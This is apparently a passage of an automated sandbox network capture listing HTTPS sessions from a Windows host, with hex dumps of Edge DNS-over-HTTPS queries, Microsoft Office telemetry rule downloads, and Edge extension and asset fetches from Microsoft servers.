2024-11-26 15:31:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49854	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed5688b18cdd-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fa 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153144Z-174f7845968n2hr8hC1EWR9cag0000000va0000000007tx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153145Z-174f7845968cdxdrhC1EWRg0en0000000veg00000000tke9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:45 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153145Z-174f78459685726chC1EWRsnbg0000000vmg00000000ng5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:45 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153145Z-174f7845968jrjrxhC1EWRmmrs0000000vtg000000008twq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49870	23.44.133.31	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733239900&P2=404&P3=2&P4=c55mvasFp70hF%2bC%2fc%2f7DxrElQLhfIKbMB7uTMvUOg7c8ydCOjcCP6J4CQVPgKeHCNvjI7gqP2kvg5aYQu2htFw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: RUolArwg/nbOjNzft6DbFu Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:46 UTC	1221	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: ed28c9bc-ef86-4e47-bd17-4d9ac0aafb04 MS-RequestId: b73ae10a-61ef-44b5-8023-89dce3fab908 MS-CV: GJizXTsAP6nvaKuzCrUe+4.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86387 Date: Tue, 26 Nov 2024 15:31:45 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.28,b=535288522,c=g,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.1c862c17.1732635105.1fe7daca Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-26 15:31:46 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49864	13.107.246.63	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:46 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:46 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f9d55574-701e-0068-5ebf-3f3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153146Z-174f7845968px8v7hC1EWR08ng0000000vxg000000007q23 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 15:31:46 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-26 15:31:46 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-26 15:31:46 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
